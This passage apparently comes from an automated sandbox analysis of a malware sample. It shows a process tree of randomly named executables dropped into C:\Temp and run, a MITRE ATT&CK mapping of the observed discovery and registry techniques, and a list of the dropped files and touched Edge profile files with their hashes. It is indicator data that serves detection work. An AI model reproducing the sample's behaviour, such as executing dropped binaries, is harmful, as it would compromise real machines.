"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3884

C:\Temp\kicausmkfcxupnhf.sys
C:\Temp\kicausmkfcxupnhf.sys
1⤵
- Executes dropped EXE
PID:3608

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2588

C:\Temp\cwupmhezxu.sys
C:\Temp\cwupmhezxu.sys
1⤵
- Executes dropped EXE
PID:5672

C:\Temp\mhcwuomhez.sys
C:\Temp\mhcwuomhez.sys
1⤵
- Executes dropped EXE
PID:5724

C:\Temp\jhbztrojhb.sys
C:\Temp\jhbztrojhb.sys
1⤵
- Executes dropped EXE
PID:668

C:\Temp\ywtomgeywq.sys
C:\Temp\ywtomgeywq.sys
1⤵
- Executes dropped EXE
PID:4660

C:\Temp\idaytqljdb.sys
C:\Temp\idaytqljdb.sys
1⤵
- Executes dropped EXE
PID:5588

C:\Temp\tnlyvqoifa.sys
C:\Temp\tnlyvqoifa.sys
1⤵
- Executes dropped EXE
PID:4292

C:\Temp\lfdxvsqkid.sys
C:\Temp\lfdxvsqkid.sys
1⤵
- Executes dropped EXE
PID:5232

C:\Temp\vsnkhfaxsp.sys
C:\Temp\vsnkhfaxsp.sys
1⤵
- Executes dropped EXE
PID:2152

C:\Temp\nhfzxusmke.sys
C:\Temp\nhfzxusmke.sys
1⤵
- Executes dropped EXE
PID:5628

C:\Temp\euomkhczxr.sys
C:\Temp\euomkhczxr.sys
1⤵
- Executes dropped EXE
PID:3056

C:\Temp\gecwuomgez.sys
C:\Temp\gecwuomgez.sys
1⤵
PID:2440

C:\Temp\qojgbywtol.sys
C:\Temp\qojgbywtol.sys
1⤵
PID:1216

C:\Temp\ywtolgeywq.sys
C:\Temp\ywtolgeywq.sys
1⤵
PID:4508

C:\Temp\lfdyvtnlgd.sys
C:\Temp\lfdyvtnlgd.sys
1⤵
PID:1484

C:\Temp\nifdbvsnlf.sys
C:\Temp\nifdbvsnlf.sys
1⤵
PID:4664

C:\Temp\axvpnifaxv.sys
C:\Temp\axvpnifaxv.sys
1⤵
PID:5636

C:\Temp\spnhfcxusm.sys
C:\Temp\spnhfcxusm.sys
1⤵
PID:3444

C:\Temp\xuhecxuomh.sys
C:\Temp\xuhecxuomh.sys
1⤵
PID:5900

C:\Temp\mkecwuomjh.sys
C:\Temp\mkecwuomjh.sys
1⤵
PID:3460

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bvtnlfdywq.exe

Path C:\Temp\bvtnlfdywq.exe
Size 376KB
SHA256 e2e6f18d9d2a534a21a6a3243b8becb3e9d5a5d9783dae50558ded3960c09229
MD5 358f5510f7acaf23717400f725ef8c6f
SHA1 61ba481e1fa64676bd08c56549803d0df16f2ea3
SHA512 7e511715a19415b9d80161a2c92218a00d57840169cc44b73f784cec3721b0ec91285a90c70522b2b9b0163e8b2d37bea1ef4756ea20940c14e8143389321e47
SSDEEP 3072:1jyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:tyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T143847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cwupmhezxu.sys

Path C:\Temp\cwupmhezxu.sys
Size 293KB
SHA256 549ba96c581907db7fb289709b8dd1257b38a45a1aaf27c5c6b96b3526b153dd
MD5 cb5a9c694f5983c6297bc0d36ffb8443
SHA1 fd2778ecf6279fd822cfe72dcc5b2ac0a8ebdfbf
SHA512 70e0c3ab6077180ea003065d0f08ff305df19dd9260303061b60fe3624cb682c63dbc85127aa50ac608c2997c87fecb91813d9ad3dda107d95d4d56c784ada5a
SSDEEP 3072:OtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:OIJjiJcbI03GBc3ucY5DCSj
TLSH
T183545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jhbztrljet.exe

Path C:\Temp\i_jhbztrljet.exe
Size 376KB
SHA256 a320475a001265bfd51aec1b769df04d7267568ae0729d08555db51a7ec39694
MD5 b5e2c6f9c60e8cdc3a26c777c22b4373
SHA1 65255c0520b4b7511e8d4bf9676382aece765b13
SHA512 9f8b9bca9f98bd7805f19272fd1a21dde41fc47d291c9644472a93e92b0e6e67b61d97c846f99b39f8af81e181765584449afa91ef6dcd3c4c82c8f1039155a6
SSDEEP 3072:8jyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:yyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1CA847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_khcausmkfc.exe

Path C:\Temp\i_khcausmkfc.exe
Size 376KB
SHA256 5e1cafb565beb4bc6e9b8231714e19373167c0cbbdd8e17e74a3ce95acf8c805
MD5 ebda7c1efe68002dfe3650a2aea9a464
SHA1 caf16baeae28f0493f7af2fea62a7b7d74a5b9f1
SHA512 90848a22fa5efd3b77a7ddffd421f8ffaa6b64ce04d75d368990ef58afac64f1795574343d2cd7f6e6995aa9a978d074ce9edcf81994a3b0100a1230bb611a98
SSDEEP 3072:2jyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:oyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T174847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_omjezwrmje.exe

Path C:\Temp\i_omjezwrmje.exe
Size 376KB
SHA256 3ae09de4367af7d3ee4af29a7aa684aea67921f3ae6629d03d493903ba8dff82
MD5 059f6a49c30cf29f211c12bfd2107132
SHA1 2063c1f99ca7b86e7ad57e6c9d91803b33629795
SHA512 9eef81027da71eeff0a8e96e9586ee999a5a6a4012c74b46bf6a87d8b5ec204feea165794d31931bf08c5a6b18a986cb992b7398a4bd853eaff707e439e21137
SSDEEP 3072:4jyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:myLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T109847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tomgeywqoj.exe

Path C:\Temp\i_tomgeywqoj.exe
Size 376KB
SHA256 42e1d541440c49ec9038cb90c123e323eb2964bd20e4d57c508a02ba65997914
MD5 348c9360b0aae383a776e1e4a8e2c745
SHA1 88649dca2e90d6cad38cb756cf81e399acdf51d5
SHA512 cc62717241ce7bd12212e6e330c2988b698e3306bdf02fd279e254abe86289773861250e5f465711bdb8252ab5c8960591d56a29138af8d293c5b32fc6a142f5
SSDEEP 3072:VjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:NyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T18B847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xupjhczxsm.exe

Path C:\Temp\i_xupjhczxsm.exe
Size 376KB
SHA256 d41a818314ac406d6ee3ed9f92b678e2ec0369dcb0b974e6d1390852cecabc1d
MD5 35a299dc10f68471f6d2859b7d8c57ab
SHA1 cb8f91ad6ff86a34beaf02c36c6e6dc47c88dd0e
SHA512 b18657e8066f642f8e46a1a19cf0bbe133d03a722ddea336209fa2b733ce7ecc8b98cebefc13f071e24f9e38338fe8894ae3742b3386db531a4be62c3e023b92
SSDEEP 3072:bjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:fyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T13C847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idaytqljdb.sys

Path C:\Temp\idaytqljdb.sys
Size 293KB
SHA256 ab09ea7ffe26d9142a50158cd3842a1459c83a131b372f8b1840bbca7fe1a3af
MD5 5976b7a169f5106218963ae5cc9d091a
SHA1 e361c219ef881e62bbb12e4f348cb54147676c7b
SHA512 dd67ec9c4ff785ffb85fb752f4f5c45cd4e5e17c6a72003e347e6297377adeed7467b782000a5b5ff29dd1ebf656792be7ab98ef402bd159552874de35f00018
SSDEEP 3072:UtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:UIJjiJcbI03GBc3ucY5DCSj
TLSH
T112545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbztrljet.exe

Path C:\Temp\jhbztrljet.exe
Size 376KB
SHA256 5d580a499e28f2c9af138ca18d8435ce8e89e51fbbfa03dcc6607c0487e17b44
MD5 08ad511449b2b72eb9a1e59267bd2a83
SHA1 efb0489ae7d2114508b8042738d453a3c7ed8f63
SHA512 e7efa418308a97ea0b69a0139024e5311963273308b255c4ceab7de0c44b18ec45a660cd9e1b388e1e462b466f29608d1143647244aaa8ac5acf50bfd9d19d93
SSDEEP 3072:VjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:NyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T190847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbztrojhb.sys

Path C:\Temp\jhbztrojhb.sys
Size 293KB
SHA256 d571f4383a4b8afc8f6273b12e052ddd5d01ef80b696d4fc7d0b07e857ce94e1
MD5 01f00849e3161365def8724e63f5d03b
SHA1 8947f1abbb93ce697a9f0f8118fef7b9bcf88c13
SHA512 29bb27e836c68a4355577ed7842c90906fe97ff56c0a4a1b13a9db7f4fb744f8d4214997b66ed02fb179109cb20e84974ea9aac195fc0460ee51df59f3281e66
SSDEEP 3072:PtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9Edz:PIJjiJcbI03GBc3ucY5DCSj
TLSH
T115545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

khcausmkfc.exe

Path C:\Temp\khcausmkfc.exe
Size 376KB
SHA256 4c740634c313d59271b59ed2695901a2cf3546aaa88605e118ff931dce9599b3
MD5 fe7d433207a9027e94647ec1962c6698
SHA1 d8aece922e95a44637edaa3d3166c181849c688b
SHA512 c6b88e7edc3002ebeb521a66d19301aeb873b58f68a776b06a2a23a61c5ce0c895f1600e57e567e45fade42a267857e95b3a6543521126e68c7ed0bb2a95d132
SSDEEP 3072:7jyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:/yLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T173847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kicausmkfcxupnhf.exe

Path C:\Temp\kicausmkfcxupnhf.exe
Size 376KB
SHA256 2d2db444d1d27c151187b48371de5ad57d551bd1e3ede9d0d728432f8e17a37f
MD5 a0ccd4a23f3dc15d348b30820317b6ca
SHA1 9e001a63a46d106cad4284417ad153bf8812c90e
SHA512 55a6840c10eeb43b1b5dfa81746817e2a9895f3b062ac2a59b6a07fdcbfb009bb3cbc96e2f96305362049887217a49cb22440972d63591810a8dc946dfa1226e
SSDEEP 3072:LjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:vyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1F6847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kicausmkfcxupnhf.sys

Path C:\Temp\kicausmkfcxupnhf.sys
Size 293KB
SHA256 6c50438bd5a85ce74a0115bc2a472d6fa767fc54f990e674b307e0274151ae7d
MD5 97b6ebcd1b5481004da039201a4f06bf
SHA1 eeed700ee2bcc30ce2b5984c66b11707e2ce3abe
SHA512 2977b10f0d4ee89d57ac7f6136bdfe94e556c0c61dfbc6a09165fd20dd324aa1eea43ba3bbba02e6b293eee7e1d218e760dff7f8ae51cf69c53149849de6fde1
SSDEEP 3072:btKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:bIJjiJcbI03GBc3ucY5DCSj
TLSH
T182545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhcwuomhez.sys

Path C:\Temp\mhcwuomhez.sys
Size 293KB
SHA256 783330f7825918ffb1ab764336f5ecbbdbcd1595a723582c0d54be938cc7502c
MD5 1bcec76ede34d69c758008201c9cfa65
SHA1 3ae3da9701d9b912841ea5f6d1b160a222f45670
SHA512 88f4e3c19cf0fd65f259080e49f17ba5962a5385ff74133a6da96c26c3069c37905528c32c58e08cb8c3ef7b6c425247e9293d5221a80e8f7bb4d6c535d89a48
SSDEEP 3072:5tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:5IJjiJcbI03GBc3ucY5DCSj
TLSH
T12E545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

omjezwrmje.exe

Path C:\Temp\omjezwrmje.exe
Size 376KB
SHA256 71b89b1f54ae0c0f8bd6f2de3c40467b3f0d40134a163fc3cbd1cd4315bfd822
MD5 6eda912309933da432e1cfacc0c48346
SHA1 e90f153ccbbf53e85809584e69e13b28b9d47b27
SHA512 8f90e0c4e630e9b529185c1b85c113a2c73ed2b4834392ca443e9c98e63f05a35b1418bf2428c22da210a09b85000d0acb9e80bdc7ae493f6967c978fc26475c
SSDEEP 3072:NBjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9o:XyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T19B847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tomgeywqoj.exe

Path C:\Temp\tomgeywqoj.exe
Size 376KB
SHA256 17841fbf245118c3ed0af4d586fe377c9908d0883b58175005b4c23c432c1e84
MD5 e5c52f2e34933771b2db881a9d1afacb
SHA1 47884b459e6eaadba9f806f669880207414e5eab
SHA512 118c2e963deee2e3661e27791e654ae21abd33ff3226911d58a780bd66caa712413ddf51c8a8600ad1bc369b2c8100b5b4c2d53c70eecb70f635780294529163
SSDEEP 3072:rjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:PyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T125847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xupjhczxsm.exe

Path C:\Temp\xupjhczxsm.exe
Size 376KB
SHA256 9732ecff0f34b145204988f71c250ca91ba687710e14cba0f44e732036822420
MD5 aab6c75f906a33d6dfea65041e9e28ac
SHA1 f3768187dd699dd8c9d5513cff9a1bda65f50011
SHA512 2bf71833b436603af6b9a54510d75e7668bb053e1869d224f6f88edc58cb63cef3169d1bc12ab86991a1341458662bbd5824aac8de7d134992f794c6b02cba08
SSDEEP 3072:YjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:GyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T184847C04BAA4F0F6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywtomgeywq.sys

Path C:\Temp\ywtomgeywq.sys
Size 293KB
SHA256 d962f05f4a5f149fcf7b3bcdf9d0417b5bdaac9b0d4cddef661323f4128ff137
MD5 b08fd0309a4b0b5c2403915ccf627eaf
SHA1 80a0753f60da75dd5391e3a61bd2cb7666da8c52
SHA512 85823afc7ea24f44621bc1800a8e6df6d61e24a83cfb61e2b6942ca4880962b8471215d6cef971d0164f69b53a486bd7ed83cd2312c1a004b2f98ba3d8dfb27d
SSDEEP 3072:utKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:uIJjiJcbI03GBc3ucY5DCSj
TLSH
T1C3545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a23025f4d05b749cd64019222483e40f71e2bd4380052e2b64a234eb0323dd12
MD5 f2999f57642ce17248d9900b8034961f
SHA1 5a92b97bdc3c0e5222e917e766218a9ee7568f1f
SHA512 001c4dde433f6d4b3121bd2e5736ab1443818c9c8ef22f8298c411039f23f15532e8510ef806e0f54b26c4ef31db9b77ed6c750a42b27167e98f8b691edafe8f
TLSH
T1F4D02BB1E0ED8473C050307C000681815205F8426AC555801F25D07C091014C234B108
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ae4519203ea4a71f8bb5a86dffca3b288f02f1bf4cb8d6f78e8a591b676414b1
MD5 1293a304484c7d4be275f1eb20c69a28
SHA1 b568174debe43e00bc9d8880e0c5166dc6720312
SHA512 ffd84ca0277d7fb25239662676bdc1988ee3267dfd6a7a17da4c4ab32edd7fa146f36c8d8b2c5f1b06efedf5cf636eaa55943e5f89902c62e6a914ebbc3ae1b7
TLSH
T143D02BB1E0DD8473C0503078000581815215F842BEC555801F25D07C091014C234B10C
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 67e6bab94268bfe57deb3ef76a1ea0b47de9e86dc03b176f177012a441606227
MD5 dbdcf146eaaa2330ec2897bc8a32b3e4
SHA1 482a985c9d6064d2a44ed48824dd8d2778550f70
SHA512 3b709c69aa96ccf3a5af477245365d03203fe82beb2978f5ce09e9bf342ef8dbde68e24fedb9535a69ca18eb2f2195efb0bf0d500f938628d271710f02fe2a64
TLSH
T13F514F85A2B880B5EFA84476E3F216A73A74FB7D59C31E720F94DCBA87E63CB0104144
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 80dac1ba4538b4e848667c902bccd45331bafd095b95cc4eb2f43abd91379ff3
MD5 af805f100d150d36c490b79855d8172a
SHA1 de8ca3c28deb47772bb382fd6c7bb6f1c441e9e1
SHA512 9dc54fcd30221307ec33803a0b0b2547f74b071349378048d4de67ded0a65f5bd839fa699fca9729caa184ba0e4a5142480451ba10256a174aaa46e8ba73e0a8
TLSH
T1AD519FF3C7E8866E890155F0AB186E1BCE2D0915832C3D5AC8E4EF5B93E2471D14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 e2d7c85c0396485409d51e64b7b1fe5c1af13901c629b445f107a458d5838ca4
MD5 85b849388d09a7d9e991cf6be38e066d
SHA1 bdc2f43a7006fb7c9a014f707ab03d1fde22208d
SHA512 4074342b8f491da0e3de1cab8b7cca7657276ce20489e880eaf645f4774025bcbb765370852be24af248b40b95abbe4e6f7707ed9b7b34f45d368429da7c4984
SSDEEP 192:sxR6ANRXCL/f+skfZ7DbuczoA8p9r/g6+WNCVF/YlacZiI+GeV7IgDcuJ:sxRTN4L/f+skB7DbuNZ/5i/pI8VTj
TLSH
T1B242C715AE78B97B4CCBD219BB557F57E6F91032A0901E4CAAFC9A1C04E66DD2207C0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 373fc082d44f50adf1dc677138cc310ef296f448b9ee979be87f1a991ec247a6
MD5 a34c7079ad9482fdcb70cfcab3ce096d
SHA1 de1fb9a59689bcb0e11fd22b3e7d77cd101f3d85
SHA512 66731232f7ec84768a25c948d91b5bd54dc9aa28c68eaaa07224588e10831fb5e975dff09071d215d658b3921080ac691bfc39339717613ed45fc6029aaebc6e
SSDEEP 192:sxR6ANRXCL/f+safZ7DbuczoA8p9r/g6+WNCVF/YlacFiI+GeV7IgDOuJ:sxRTN4L/f+saB7DbuNZ/5i/jI8VTp
TLSH
T11042C815AD78B97B4CDBD209BB557F57E2F91132A0901F4CA6FC9A1C04E66DD2207C0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 28fa9b638829516e4fbcfc6bbd7d50322e8dd5a7794f37462435187b2f1b4f63
MD5 ae548035a58f80f11fb03e0cd05b6771
SHA1 23dffcf256fb0ed7da24b461970c61e22c787805
SHA512 1360ee4c77b7e4dd0b0442ff0f314c17ebef1ec2343e7f434fbf8398abf1661d9554fd75800e9772ad01bd2c303fba723158cdd2a5d145466d9423144730484b
SSDEEP 192:sxR6ACRXCL/f+spfZ7DbuczoA8p9r/g6+WNCVF/YlacZiI+GeV7IgVuJ:sxRTC4L/f+spB7DbuNZ/5i/pI8VTk
TLSH
T12542C715AE68B97B8CCBD209BA557F57D6F91132A0901E4CEAFC991C04E66DD2207C0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 72ead0be034429a41ed898bf8c587ac8aecad8ee4eeb89d9550382f8939888e5
MD5 f0288920f904906eb6a45dd90edb33e1
SHA1 80545e1b08c1e371c0b4c4984a9be7f9325c2714
SHA512 7d68e2546885e8c87b0ad4e4a630e4a760ad07991a913667cbe235bb3ff76654ef1dc14a8be0d1052af54f6b0db065b67255d9e32c5c50ed87435a29c7cad5d3
SSDEEP 768:ksRdAG7pLuLb0JWgSwffT8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6q+2+g7roe2Sib:ksRdAmEb0JWgSwffTu1jaVq+rgIe2FH7
TLSH
T1EDD2D87B680CCB7F4F804ADD9C197A9F6DAC02CB9698CD8047FE941D02C6BEA51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 f46069fc3bf2c1461d39238dc67f5e0fc13ab652bf072a8da4cc2c16ecbb6bc2
MD5 6335f7f88fd1209f42a4bd57381b8b80
SHA1 12f867d6349a629883207eab381850f6ba8eee94
SHA512 6102fc3463106e7d555415c291fabceb22b8e8d2180a826d8ada1d2f39c57bda18ef922fa3bef4c54776faaf5b808490c03c5c54929313242a1614a54480a7ba
SSDEEP 48:K0dcRtfLPwbD2jISlwK9l1Hwx1gYmnddyLNsh9P7/gbTmzIS1gK911XgxlwY23E0:KMGEKLa2KmoKHK0AwKpy+mz
TLSH
T1A8911F51B47B064038BD284898A9C71F524632B33059FA6F7FBA54B68B6AE050DFD4CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59de8f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59de8f.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

